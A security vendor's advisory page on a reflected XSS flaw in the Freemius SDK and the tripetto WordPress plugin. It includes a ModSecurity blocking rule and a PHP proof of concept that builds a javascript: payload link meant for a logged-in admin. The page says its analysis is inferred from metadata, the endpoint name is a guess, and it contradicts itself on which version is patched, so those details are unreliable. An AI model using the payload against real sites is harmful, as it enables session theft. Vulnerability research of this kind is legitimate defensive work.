Atomic Edge analysis of CVE-2024-13362 (metadata-based):
This is a reflected DOM-based cross-site scripting vulnerability in the Freemius framework library used by multiple WordPress plugins and themes, including the “tripetto” plugin. The vulnerability exists in versions up to 2.10.1 of the Freemius SDK and specifically in the “tripetto” plugin up to version 8.0.7. The CVSS score is 6.1 (Medium) with the vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, indicating a network-exploitable attack requiring user interaction, with low impact to confidentiality and integrity.
Root Cause:
Based on the CWE-79 classification and the description, the root cause is improper neutralization of input in the ‘url’ parameter. The Freemius SDK or the plugin code passes user-supplied input from the ‘url’ parameter directly into JavaScript DOM manipulation without adequate sanitization or output escaping. This is a classic DOM-based XSS where the payload never reaches the server but is executed client-side via JavaScript functions such as innerHTML, document.write, or eval. Atomic Edge analysis infers this from the CWE and description; no source code was available for confirmation.
Exploitation:
An unauthenticated attacker crafts a malicious link containing a JavaScript payload in the ‘url’ parameter. For the “tripetto” plugin, the vulnerable endpoint is likely an AJAX handler or a Freemius connectivity check page that reflects the ‘url’ parameter into a JavaScript context. The attack vector is social engineering: the attacker sends the crafted link to a logged-in user. When the user clicks the link, the payload executes in their browser, allowing the attacker to perform actions on behalf of the victim, such as stealing session cookies or modifying page content. A typical payload might be: url=https://attacker.com/”?alert(document.cookie) or a data URI with JavaScript.
Remediation:
The fix requires properly sanitizing the ‘url’ parameter before using it in DOM manipulation. The developer should use JavaScript’s encodeURIComponent() or similar client-side encoding, and server-side should validate the URL against a whitelist of allowed domains or use WordPress’s built-in esc_url() function. The patched version 8.0.7 (or 2.10.1 of the SDK) likely implements proper output escaping using esc_js() or wp_kses() in PHP, and avoids direct concatenation of user input into JavaScript contexts.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser. This can lead to session hijacking, defacement of the admin dashboard, phishing attacks, or unauthorized actions performed on behalf of the victim. The scope change in the CVSS vector (S:C) indicates that the vulnerable component is different from the resource impacted, meaning the XSS can affect the entire WordPress installation beyond the plugin’s own page. This can be particularly damaging in multi-site environments or when an administrator is targeted.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Blocks reflected XSS in the 'url' parameter for Freemius AJAX endpoints
# Targets the common AJAX handler pattern used by vulnerable plugins (e.g., tripetto)
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:action "@pm tripetto_freemius_check" "chain"
SecRule ARGS:url "@rx (?:javascript|data:|vbscript|<script|on[a-z]+=|&#x?[0-9a-fA-F]{2,};)"
"t:lowercase,t:urlDecode"
# Alternative rule for direct page endpoints that reflect the url parameter (if AJAX is not used)
SecRule REQUEST_URI "@rx /wp-content/plugins/tripetto/.*freemius.*.php$"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS:url "@rx (?:javascript|data:|vbscript|<script|on[a-z]+=|&#x?[0-9a-fA-F]{2,};)"
"t:lowercase,t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC demonstrates the reflected XSS vulnerability in the Freemius SDK used by the 'tripetto' plugin.
// The vulnerable endpoint is likely the Freemius connectivity check AJAX handler or a page that reflects the 'url' parameter.
// Since no source code is available, we assume the parameter is passed to a JavaScript DOM API without sanitization.
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
// Construct the malicious link with a JavaScript payload in the 'url' parameter.
// The payload will execute when the victim's browser processes the URL.
// We use a simple alert to confirm XSS, but real attackers would use cookie theft or other malicious actions.
$payload = 'javascript:alert(document.domain)';
$vulnerable_endpoint = '/wp-admin/admin-ajax.php?action=tripetto_freemius_check&url=' . urlencode($payload);
$full_url = $target_url . $vulnerable_endpoint;
echo "[+] Atomic Edge PoC for CVE-2024-13362n";
echo "[+] Target: $target_urln";
echo "[+] Crafted malicious URL:n";
echo $full_url . "nn";
echo "[+] To exploit: Send this link to a logged-in admin. When clicked, the XSS payload executes.n";
// Optional: Send the request via cURL to verify the endpoint exists and reflects the parameter.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
echo "[+] Endpoint responded with HTTP 200. Check if the URL parameter is reflected in the response.n";
echo "[+] Response snippet:n";
echo substr($response, 0, 500) . "n";
} else {
echo "[-] HTTP $http_code received. The endpoint might require authentication or different parameters.n";
echo "[-] This PoC is metadata-based; actual exploitation may require adjustments.n";
}